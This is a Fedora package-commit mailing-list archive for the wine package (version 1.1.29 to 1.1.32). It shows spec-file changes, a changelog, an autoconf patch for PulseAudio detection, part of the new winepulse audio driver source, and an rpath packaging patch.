@@ -550,6 +559,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/fakedlls/*
 %{_libdir}/wine/cacls.exe.so
 %{_libdir}/wine/expand.exe.so
+%{_libdir}/wine/extrac32.exe.so
 %{_libdir}/wine/winhlp32.exe.so
 %{_libdir}/wine/msiexec.exe.so
 %{_libdir}/wine/net.exe.so
@@ -642,6 +652,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/dxgi.dll.so
 %{_libdir}/wine/eject.exe.so
 %{_libdir}/wine/faultrep.dll.so
+%{_libdir}/wine/fltlib.dll.so
 %{_libdir}/wine/fusion.dll.so
 %{_libdir}/wine/gdi32.dll.so
 %{_libdir}/wine/gdiplus.dll.so
@@ -817,7 +828,6 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/wintab32.dll.so
 %{_libdir}/wine/wintrust.dll.so
 %{_libdir}/wine/wnaspi32.dll.so
-%{_libdir}/wine/wow32.dll.so
 %{_libdir}/wine/ws2_32.dll.so
 %{_libdir}/wine/wsock32.dll.so
 %{_libdir}/wine/wtsapi32.dll.so
@@ -843,13 +853,10 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/winevdm.exe.so
 %{_libdir}/wine/ifsmgr.vxd.so
 %{_libdir}/wine/mmdevldr.vxd.so
-%{_libdir}/wine/mmsystem.dll16
 %{_libdir}/wine/monodebg.vxd.so
 %{_libdir}/wine/vdhcp.vxd.so
-%{_libdir}/wine/ver.dll16
 %{_libdir}/wine/user.exe16
 %{_libdir}/wine/vmm.vxd.so
-%{_libdir}/wine/wing.dll16
 %{_libdir}/wine/vnbt.vxd.so
 %{_libdir}/wine/vnetbios.vxd.so
 %{_libdir}/wine/vtdapi.vxd.so
@@ -857,12 +864,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/w32skrnl.dll.so
 %{_libdir}/wine/commdlg.dll16
 %{_libdir}/wine/gdi.exe16
-%{_libdir}/wine/setupx.dll16
-%{_libdir}/wine/system.drv16
-%{_libdir}/wine/toolhelp.dll16
-%{_libdir}/wine/winsock.dll16
 %{_libdir}/wine/wprocs.dll16
-%{_libdir}/wine/wineps16.drv16
 
 %{_libdir}/wine/avifile.dll16.so
 %{_libdir}/wine/comm.drv16.so
@@ -876,6 +878,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/krnl386.exe16
 %{_libdir}/wine/keyboard.drv16.so
 %{_libdir}/wine/lzexpand.dll16.so
+%{_libdir}/wine/mmsystem.dll16.so
 %{_libdir}/wine/mouse.drv16.so
 %{_libdir}/wine/msacm.dll16.so
 %{_libdir}/wine/msvideo.dll16.so
@@ -888,21 +891,29 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/olecli.dll16.so
 %{_libdir}/wine/olesvr.dll16.so
 %{_libdir}/wine/rasapi16.dll16.so
+%{_libdir}/wine/setupx.dll16.so
 %{_libdir}/wine/shell.dll16.so
 %{_libdir}/wine/sound.drv16.so
 %{_libdir}/wine/storage.dll16.so
 %{_libdir}/wine/stress.dll16.so
+%{_libdir}/wine/system.drv16.so
+%{_libdir}/wine/toolhelp.dll16.so
 %{_libdir}/wine/twain.dll16.so
 %{_libdir}/wine/typelib.dll16.so
+%{_libdir}/wine/ver.dll16.so
 %{_libdir}/wine/w32sys.dll16.so
 %{_libdir}/wine/win32s16.dll16.so
 %{_libdir}/wine/win87em.dll16.so
 %{_libdir}/wine/winaspi.dll16.so
 %{_libdir}/wine/windebug.dll16.so
+%{_libdir}/wine/wineps16.drv16.so
+%{_libdir}/wine/wing.dll16.so
 %{_libdir}/wine/winhelp.exe16.so
 %{_libdir}/wine/winnls.dll16.so
 %{_libdir}/wine/winoldap.mod16.so
+%{_libdir}/wine/winsock.dll16.so
 %{_libdir}/wine/wintab.dll16.so
+%{_libdir}/wine/wow32.dll.so
 %endif
 
 %files common
@@ -1030,7 +1041,22 @@ update-desktop-database &>/dev/null || :
 %defattr(-,root,root,-)
 %{_libdir}/wine/wineoss.drv.so
 
+%files openal
+%defattr(-,root,root,-)
+%{_libdir}/wine/openal32.dll.so
+
 %changelog
+* Tue Oct 27 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.32-1
+- version upgrade (#531358)
+- update winepulse
+
+* Mon Sep 28 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.30-1
+- version upgrade
+- openal support
+- drop steam regression patch
+
 * Sun Sep 13 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 1.1.29-3
 - patch for steam regression (upstream #19916)


--- steam-regression.patch DELETED ---


--- winepulse-0.30-configure.ac.patch DELETED ---


--- winepulse-0.30.patch DELETED ---



From awjb at fedoraproject.org  Fri Oct 30 14:57:28 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 14:57:28 +0000 (UTC)
Subject: rpms/wine/F-12 winepulse-0.32-configure.ac.patch, NONE,
	1.1 winepulse-0.32.patch, NONE, 1.1 .cvsignore, 1.79,
	1.80 sources, 1.80, 1.81 wine-rpath.patch, 1.8, 1.9 wine.spec,
	1.114, 1.115 steam-regression.patch, 1.1,
	NONE winepulse-0.30-configure.ac.patch, 1.1,
	NONE winepulse-0.30.patch, 1.1, NONE
Message-ID: <20091030145728.159F911C00EA@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9506/F-12

Modified Files:
	.cvsignore sources wine-rpath.patch wine.spec 
Added Files:
	winepulse-0.32-configure.ac.patch winepulse-0.32.patch 
Removed Files:
	steam-regression.patch winepulse-0.30-configure.ac.patch 
	winepulse-0.30.patch 
Log Message:
- version upgrade


winepulse-0.32-configure.ac.patch:
 configure.ac |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE winepulse-0.32-configure.ac.patch ---
diff --git a/configure.ac b/configure.ac
index 0cc339b..3f34f12 100644
--- a/configure.ac
+++ b/configure.ac
@@ -64,6 +64,7 @@ AC_ARG_WITH(png,       AS_HELP_STRING([--without-png],[do not use PNG]),
             [if test "x$withval" = "xno"; then ac_cv_header_png_h=no; fi])
 AC_ARG_WITH(pthread,   AS_HELP_STRING([--without-pthread],[do not use the pthread library]),
             [if test "x$withval" = "xno"; then ac_cv_header_pthread_h=no; fi])
+AC_ARG_WITH(pulse,     AC_HELP_STRING([--without-pulse],[do not use PulseAudio sound support]))
 AC_ARG_WITH(sane,      AS_HELP_STRING([--without-sane],[do not use SANE (scanner support)]))
 AC_ARG_WITH(xcomposite,AS_HELP_STRING([--without-xcomposite],[do not use the Xcomposite extension]),
             [if test "x$withval" = "xno"; then ac_cv_header_X11_extensions_Xcomposite_h=no; fi])
@@ -1297,6 +1298,28 @@ then
     CFLAGS="$save_CFLAGS"
 fi
 
+dnl **** Check for PulseAudio ****
+if test "x$with_pulse" != "xno"; then
+    if test "$PKG_CONFIG" != "false"; then
+        AC_MSG_CHECKING([for pulseaudio >= 0.9.14])
+        if "$PKG_CONFIG" --atleast-version=0.9.14 libpulse; then
+            have_pulseaudio="yes"
+        else
+            have_pulseaudio="no"
+        fi
+        AC_MSG_RESULT([$have_pulseaudio])
+        if test x"$have_pulseaudio" = xyes; then
+            ac_pulse_libs=`$PKG_CONFIG --libs libpulse`
+            AC_DEFINE([HAVE_PULSEAUDIO], 1, [define this if you have pulseaudio])
+            AC_SUBST(PULSELIBS, "$ac_pulse_libs")
+	else
+            dnl This warning should be removed if ever commited.
+            dnl Only useful to show that the problem wasn't the patch.
+            WINE_WARNING([libpulse not found or too old. Pulseaudio support will NOT be built.])
+        fi
+    fi
+fi
+
 dnl **** Check for ALSA 1.x ****
 AC_SUBST(ALSALIBS,"")
 if test "$ac_cv_header_sys_asoundlib_h" = "yes" -o "$ac_cv_header_alsa_asoundlib_h" = "yes"
@@ -1449,7 +1472,7 @@ dnl **** Check for libodbc ****
 WINE_CHECK_SONAME(odbc,SQLConnect,,[AC_DEFINE_UNQUOTED(SONAME_LIBODBC,["libodbc.$LIBEXT"])])
 
 dnl **** Check for any sound system ****
-if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$ac_cv_lib_soname_jack" = "x" -a \
+if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$PULSELIBS$ac_cv_lib_soname_jack" = "x" -a \
         "$ac_cv_header_sys_soundcard_h" != "yes" -a \
         "$ac_cv_header_machine_soundcard_h" != "yes" -a \
         "$ac_cv_header_soundcard_h" != "yes" -a \
@@ -2509,6 +2532,7 @@ WINE_CONFIG_MAKEFILE([dlls/winenas.drv/Makefile],[dlls/Makedll.rules],[dlls],[AL
 WINE_CONFIG_MAKEFILE([dlls/wineoss.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps16.drv16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])
+WINE_CONFIG_MAKEFILE([dlls/winepulse.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winequartz.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winex11.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wing.dll16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])

winepulse-0.32.patch:
 Makefile.in        |   15 
 pulse.c            |  788 +++++++++++++++++++++++++++++++++++++++
 wavein.c           |  595 ++++++++++++++++++++++++++++++
 waveout.c          | 1049 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 winepulse.drv.spec |    3 
 winepulse.h        |  196 +++++++++
 6 files changed, 2646 insertions(+)

--- NEW FILE winepulse-0.32.patch ---
diff --git a/dlls/winepulse.drv/Makefile.in b/dlls/winepulse.drv/Makefile.in
new file mode 100644
index 0000000..c99c1da
--- /dev/null
+++ b/dlls/winepulse.drv/Makefile.in
@@ -0,0 +1,15 @@
+TOPSRCDIR = @top_srcdir@
+TOPOBJDIR = ../..
+SRCDIR    = @srcdir@
+VPATH     = @srcdir@
+MODULE    = winepulse.drv
+IMPORTS   = winmm user32 kernel32
+EXTRALIBS = @PULSELIBS@
+
+C_SRCS = waveout.c \
+         wavein.c \
+         pulse.c
+
+ at MAKE_DLL_RULES@
+
+ at DEPENDENCIES@  # everything below this line is overwritten by make depend
diff --git a/dlls/winepulse.drv/pulse.c b/dlls/winepulse.drv/pulse.c
new file mode 100644
index 0000000..3dcb086
--- /dev/null
+++ b/dlls/winepulse.drv/pulse.c
@@ -0,0 +1,788 @@
+/*
+ * Wine Driver for PulseAudio
+ * http://pulseaudio.org/
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * Contains code from other wine sound drivers.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#include "config.h"
+
+#include <stdarg.h>
+#include <stdio.h>
+
+#include "windef.h"
+#include "winbase.h"
+#include "wingdi.h"
+#include "winuser.h"
+#include "winreg.h"
+#include "mmddk.h"
+#include "ks.h"
+#include "ksguid.h"
+#include "ksmedia.h"
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+#include <poll.h>
+
+#ifdef HAVE_PULSEAUDIO
+
+#include "wine/unicode.h"
+#include "wine/debug.h"
+#include "wine/library.h"
+
+#include <winepulse.h>
+#include <pulse/pulseaudio.h>
+WINE_DEFAULT_DEBUG_CHANNEL(wave);
+
+/* These strings used only for tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg) {
+    static char unknown[32];
+#define MSG_TO_STR(x) case x: return #x
+    switch(msg) {
+    MSG_TO_STR(WINE_WM_PAUSING);
+    MSG_TO_STR(WINE_WM_RESTARTING);
+    MSG_TO_STR(WINE_WM_RESETTING);
+    MSG_TO_STR(WINE_WM_HEADER);
+    MSG_TO_STR(WINE_WM_BREAKLOOP);
+    MSG_TO_STR(WINE_WM_CLOSING);
+    MSG_TO_STR(WINE_WM_STARTING);
+    MSG_TO_STR(WINE_WM_STOPPING);
+    MSG_TO_STR(WINE_WM_XRUN);
+    MSG_TO_STR(WINE_WM_FEED);
+    }
+#undef MSG_TO_STR
+    sprintf(unknown, "UNKNOWN(0x%08x)", msg);
+    return unknown;
+}
+
+/*======================================================================*
+ *          Ring Buffer Functions - copied from winealsa.drv            *
+ *======================================================================*/
+
+/* unless someone makes a wineserver kernel module, Unix pipes are faster than win32 events */
+#define USE_PIPE_SYNC
+
+#ifdef USE_PIPE_SYNC
+#define INIT_OMR(omr) do { if (pipe(omr->msg_pipe) < 0) { omr->msg_pipe[0] = omr->msg_pipe[1] = -1; } } while (0)
+#define CLOSE_OMR(omr) do { close(omr->msg_pipe[0]); close(omr->msg_pipe[1]); } while (0)
+#define SIGNAL_OMR(omr) do { int x = 0; write((omr)->msg_pipe[1], &x, sizeof(x)); } while (0)
+#define CLEAR_OMR(omr) do { int x = 0; read((omr)->msg_pipe[0], &x, sizeof(x)); } while (0)
+#define RESET_OMR(omr) do { } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { struct pollfd pfd; pfd.fd = (omr)->msg_pipe[0]; \
+       pfd.events = POLLIN; poll(&pfd, 1, sleep); } while (0)
+#else
+#define INIT_OMR(omr) do { omr->msg_event = CreateEventW(NULL, FALSE, FALSE, NULL); } while (0)
+#define CLOSE_OMR(omr) do { CloseHandle(omr->msg_event); } while (0)
+#define SIGNAL_OMR(omr) do { SetEvent((omr)->msg_event); } while (0)
+#define CLEAR_OMR(omr) do { } while (0)
+#define RESET_OMR(omr) do { ResetEvent((omr)->msg_event); } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { WaitForSingleObject((omr)->msg_event, sleep); } while (0)
+#endif
+
+#define PULSE_RING_BUFFER_INCREMENT      64
+
+/******************************************************************
+ *                  PULSE_InitRingMessage
+ *
+ * Initialize the ring of messages for passing between driver's caller
+ * and playback/record thread
+ */
+int PULSE_InitRingMessage(PULSE_MSG_RING* omr)
+{
+    omr->msg_toget = 0;
+    omr->msg_tosave = 0;
+    INIT_OMR(omr);
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->messages = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,omr->ring_buffer_size * sizeof(PULSE_MSG));
+
+    InitializeCriticalSection(&omr->msg_crst);
+    omr->msg_crst.DebugInfo->Spare[0] = (DWORD_PTR)(__FILE__ ": PULSE_MSG_RING.msg_crst");
+    return 0;
+}
+
+/******************************************************************
+ *                  PULSE_DestroyRingMessage
+ *
+ */
+int PULSE_DestroyRingMessage(PULSE_MSG_RING* omr)
+{
+    CLOSE_OMR(omr);
+    HeapFree(GetProcessHeap(),0,omr->messages);
+    omr->messages = NULL;
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->msg_crst.DebugInfo->Spare[0] = 0;
+    DeleteCriticalSection(&omr->msg_crst);
+    return 0;
+}
+/******************************************************************
+ *                  PULSE_ResetRingMessage
+ *
+ */
+void PULSE_ResetRingMessage(PULSE_MSG_RING* omr)
+{
+    RESET_OMR(omr);
+}
+
+/******************************************************************
+ *                  PULSE_WaitRingMessage
+ *
+ */
+void PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep)
+{
+    WAIT_OMR(omr, sleep);
+}
+
+/******************************************************************
+ *                  PULSE_AddRingMessage
+ *
+ * Inserts a new message into the ring (should be called from DriverProc derived routines)
+ */
+int PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait)
+{
+    HANDLE      hEvent = INVALID_HANDLE_VALUE;
+
+    EnterCriticalSection(&omr->msg_crst);
+    if ((omr->msg_toget == ((omr->msg_tosave + 1) % omr->ring_buffer_size)))
+    {
+        int old_ring_buffer_size = omr->ring_buffer_size;
+        omr->ring_buffer_size += PULSE_RING_BUFFER_INCREMENT;
+        omr->messages = HeapReAlloc(GetProcessHeap(),0,omr->messages, omr->ring_buffer_size * sizeof(PULSE_MSG));
+        /* Now we need to rearrange the ring buffer so that the new
+           buffers just allocated are in between omr->msg_tosave and
+           omr->msg_toget.
+        */
[...2283 lines suppressed...]
index 0000000..0aa7e86
--- /dev/null
+++ b/dlls/winepulse.drv/winepulse.h
@@ -0,0 +1,196 @@
+/* Definitions for PulseAudio Wine Driver
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef __WINE_CONFIG_H
+# error You must include config.h to use this header
+#endif
+
+#if defined(HAVE_PULSEAUDIO) && !defined(__WINEPULSE_H)
+#define __WINEPULSE_H
+
+#include "mmreg.h"
+#include "dsound.h"
+#include "dsdriver.h"
+
+#include "ks.h"
+#include "ksmedia.h"
+#include "ksguid.h"
+
+#include <pulse/pulseaudio.h>
+
+/* state diagram for waveOut writing:
+ *
+ * +---------+-------------+---------------+---------------------------------+
+ * |  state  |  function   |     event     |            new state            |
+ * +---------+-------------+---------------+---------------------------------+
+ * |         | open()      |               | STOPPED                         |
+ * | PAUSED  | write()     |               | PAUSED                          |
+ * | STOPPED | write()     | <thrd create> | PLAYING                         |
+ * | PLAYING | write()     | HEADER        | PLAYING                         |
+ * | (other) | write()     | <error>       |                                 |
+ * | (any)   | pause()     | PAUSING       | PAUSED                          |
+ * | PAUSED  | restart()   | RESTARTING    | PLAYING (if no thrd => STOPPED) |
+ * | (any)   | reset()     | RESETTING     | STOPPED                         |
+ * | (any)   | close()     | CLOSING       | CLOSED                          |
+ * +---------+-------------+---------------+---------------------------------+
+ */
+
+/* states of the playing device */
+#define WINE_WS_PLAYING         1
+#define WINE_WS_PAUSED          2
+#define WINE_WS_STOPPED         3
+#define WINE_WS_CLOSED          4
+#define WINE_WS_FAILED          5
+
+#define PULSE_ALL_FORMATS \
+        WAVE_FORMAT_1M08 |      /* Mono     11025Hz 8-bit  */\
+        WAVE_FORMAT_1M16 |      /* Mono     11025Hz 16-bit */\
+        WAVE_FORMAT_1S08 |      /* Stereo   11025Hz 8-bit  */\
+        WAVE_FORMAT_1S16 |      /* Stereo   11025Hz 16-bit */\
+        WAVE_FORMAT_2M08 |      /* Mono     22050Hz 8-bit  */\
+        WAVE_FORMAT_2M16 |      /* Mono     22050Hz 16-bit */\
+        WAVE_FORMAT_2S08 |      /* Stereo   22050Hz 8-bit  */\
+        WAVE_FORMAT_2S16 |      /* Stereo   22050Hz 16-bit */\
+        WAVE_FORMAT_4M08 |      /* Mono     44100Hz 8-bit  */\
+        WAVE_FORMAT_4M16 |      /* Mono     44100Hz 16-bit */\
+        WAVE_FORMAT_4S08 |      /* Stereo   44100Hz 8-bit  */\
+        WAVE_FORMAT_4S16 |      /* Stereo   44100Hz 16-bit */\
+        WAVE_FORMAT_48M08 |     /* Mono     48000Hz 8-bit  */\
+        WAVE_FORMAT_48S08 |     /* Stereo   48000Hz 8-bit  */\
+        WAVE_FORMAT_48M16 |     /* Mono     48000Hz 16-bit */\
+        WAVE_FORMAT_48S16 |     /* Stereo   48000Hz 16-bit */\
+        WAVE_FORMAT_96M08 |     /* Mono     96000Hz 8-bit  */\
+        WAVE_FORMAT_96S08 |     /* Stereo   96000Hz 8-bit  */\
+        WAVE_FORMAT_96M16 |     /* Mono     96000Hz 16-bit */\
+        WAVE_FORMAT_96S16       /* Stereo   96000Hz 16-bit */
+
+/* events to be sent to device */
+enum win_wm_message {
+    WINE_WM_PAUSING = WM_USER + 1, WINE_WM_RESTARTING, WINE_WM_RESETTING, WINE_WM_HEADER,
+    WINE_WM_BREAKLOOP, WINE_WM_CLOSING, WINE_WM_STARTING, WINE_WM_STOPPING, WINE_WM_XRUN, WINE_WM_FEED
+};
+
+typedef struct {
+    enum win_wm_message msg;    /* message identifier */
+    DWORD               param;  /* parameter for this message */
+    HANDLE              hEvent; /* if message is synchronous, handle of event for synchro */
+} PULSE_MSG;
+
+/* implement an in-process message ring for better performance
+ * (compared to passing thru the server)
+ * this ring will be used by the input (resp output) record (resp playback) routine
+ */
+typedef struct {
+    PULSE_MSG                   * messages;
+    int                         ring_buffer_size;
+    int                         msg_tosave;
+    int                         msg_toget;
+/* Either pipe or event is used, but that is defined in pulse.c,
+ * since this is a global header we define both here */
+    int                         msg_pipe[2];
+    HANDLE                      msg_event;
+    CRITICAL_SECTION            msg_crst;
+} PULSE_MSG_RING;
+
+typedef struct WINE_WAVEDEV WINE_WAVEDEV;
+typedef struct WINE_WAVEINST WINE_WAVEINST;
+
+/* Per-playback/record device */
+struct WINE_WAVEDEV {
+    char                interface_name[MAXPNAMELEN * 2];
+    char                *device_name;
+    pa_cvolume          volume;
+
+    union {
+        WAVEOUTCAPSW    out;
+        WAVEINCAPSW     in;
+    } caps;
+    
+    /* DirectSound stuff */
+    DSDRIVERDESC                ds_desc;
+    DSDRIVERCAPS                ds_caps;
+};
+
+/* Per-playback/record instance */
+struct WINE_WAVEINST {
+    INT                 state;              /* one of the WINE_WS_ manifest constants */
+    WAVEOPENDESC        waveDesc;
+    WORD                wFlags;
+
+    /* PulseAudio specific data */
+    pa_stream           *stream;            /* The PulseAudio stream */
+    const pa_timing_info *timing_info;      /* The timing info structure for the stream */
+    pa_sample_spec      sample_spec;        /* Sample spec of this stream / device */
+    pa_cvolume          volume;             /* Software volume of the stream */
+    pa_buffer_attr      buffer_attr;        /* Buffer attribute, may not be used */
+
+    /* waveIn / waveOut wavaHdr */
+    LPWAVEHDR           lpQueuePtr;         /* Start of queued WAVEHDRs (waiting to be notified) */
+    LPWAVEHDR           lpPlayPtr;          /* Start of not yet fully written buffers */
+    DWORD               dwPartialOffset;    /* Offset of not yet written bytes in lpPlayPtr */
+    LPWAVEHDR           lpLoopPtr;          /* Pointer of first buffer in loop, if any */
+    DWORD               dwLoops;            /* Private copy of loop counter */
+    DWORD               dwLastReset;        /* When the last reset occured, as pa stream time doesn't reset */
+
+    /* waveIn specific */
+    const void          *buffer;            /* Pointer to the latest data fragment for recording streams */
+    DWORD               buffer_length;      /* How large the latest data fragment is */
+    DWORD               buffer_read_offset; /* How far into latest data fragment we last read */
+
+    /* Thread communication and synchronization stuff */
+    HANDLE              hStartUpEvent;
+    HANDLE              hThread;
+    DWORD               dwThreadID;
+    PULSE_MSG_RING      msgRing;
+};
+
+/* We establish one context per instance, so make it global to the lib */
+pa_context              *PULSE_context;   /* Connection Context */
+pa_threaded_mainloop    *PULSE_ml;        /* PA Runtime information */
+
+/* WaveIn / WaveOut devices */
+WINE_WAVEDEV *WOutDev;
+WINE_WAVEDEV *WInDev;
+DWORD PULSE_WodNumDevs;
+DWORD PULSE_WidNumDevs;
+
+/* pulse.c: PulseAudio Async Callbacks */
+void    PULSE_StreamSuccessCallback(pa_stream *s, int success, void *userdata);
+void    PULSE_StreamStateCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamUnderflowCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamSuspendedCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamMovedCallback(pa_stream *s, void *userdata);
+void    PULSE_ContextSuccessCallback(pa_context *c, int success, void *userdata);
+
+/* pulse.c: General Functions */
+void    PULSE_WaitForOperation(pa_operation *o);
+BOOL    PULSE_SetupFormat(LPWAVEFORMATEX wf, pa_sample_spec *ss);
+HRESULT PULSE_UsecToMMTime(pa_usec_t time, LPMMTIME lpTime, const pa_sample_spec *ss);
+
+/* pulse.c: Message Ring */
+int     PULSE_InitRingMessage(PULSE_MSG_RING* omr);
+int     PULSE_DestroyRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_ResetRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep);
+int     PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait);
+int     PULSE_RetrieveRingMessage(PULSE_MSG_RING* omr, enum win_wm_message *msg, DWORD *param, HANDLE *hEvent);
+
+/* pulse.c: Tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg);
+#endif


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	2 Sep 2009 20:36:03 -0000	1.79
+++ .cvsignore	30 Oct 2009 14:57:27 -0000	1.80
@@ -1 +0,0 @@
-wine-1.1.29-fe.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/sources,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- sources	2 Sep 2009 20:36:03 -0000	1.80
+++ sources	30 Oct 2009 14:57:27 -0000	1.81
@@ -1 +0,0 @@
-3782b65da7db94460b93961356715403  wine-1.1.29-fe.tar.bz2

wine-rpath.patch:
 configure |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

Index: wine-rpath.patch
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/wine-rpath.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- wine-rpath.patch	30 Aug 2009 21:27:13 -0000	1.8
+++ wine-rpath.patch	30 Oct 2009 14:57:27 -0000	1.9
@@ -1,6 +1,6 @@
---- configure.orig	2009-08-26 11:47:17.000000000 +0200
-+++ configure	2009-08-26 11:50:07.000000000 +0200
-@@ -6565,14 +6565,14 @@
+--- configure.orig	2009-10-29 18:57:06.000000000 +0100
++++ configure	2009-10-29 18:58:49.000000000 +0100
+@@ -6758,14 +6758,14 @@
  
  fi
  
@@ -18,15 +18,28 @@
 +CFLAGS="$CFLAGS -fPIC"
  cat confdefs.h - <<_ACEOF >conftest.$ac_ext
  /* end confdefs.h.  */
- 
-@@ -6597,8 +6597,8 @@
+ int main(int argc, char *argv) { return 0; }
+@@ -6783,17 +6783,17 @@
  	       { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
  $as_echo "$ac_res" >&6; }
  if test `eval 'as_val=${'$as_ac_var'};$as_echo "$as_val"'` = yes; then :
 -  LDRPATH_INSTALL="-Wl,--rpath,\\\$\$ORIGIN/\`\$(RELPATH) \$(bindir) \$(libdir)\`"
 -                       LDRPATH_LOCAL="-Wl,--rpath,\\\$\$ORIGIN/\$(TOPOBJDIR)/libs/wine"
 +  LDRPATH_INSTALL=""
-+  LDRPATH_LOCAL=""
++                       LDRPATH_LOCAL=""
+ else
+-  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+-$as_echo_n "checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib... " >&6; }
++  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC" | $as_tr_sh`
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC" >&5
++$as_echo_n "checking whether the compiler supports -fPIC " >&6; }
+ if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then :
+   $as_echo_n "(cached) " >&6
  else
-   as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+   ac_wine_try_cflags_saved=$CFLAGS
+-CFLAGS="$CFLAGS -fPIC -Wl,-R,\$ORIGIN/../lib"
++CFLAGS="$CFLAGS -fPIC"
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h.  */
+ int main(int argc, char *argv) { return 0; }


Index: wine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/wine.spec,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- wine.spec	13 Sep 2009 10:56:19 -0000	1.114
+++ wine.spec	30 Oct 2009 14:57:27 -0000	1.115
@@ -1,7 +1,7 @@
 %define no64bit 0
 Name:		wine
-Version:	1.1.29
-Release:	3%{?dist}
+Version:	1.1.32
+Release:	1%{?dist}
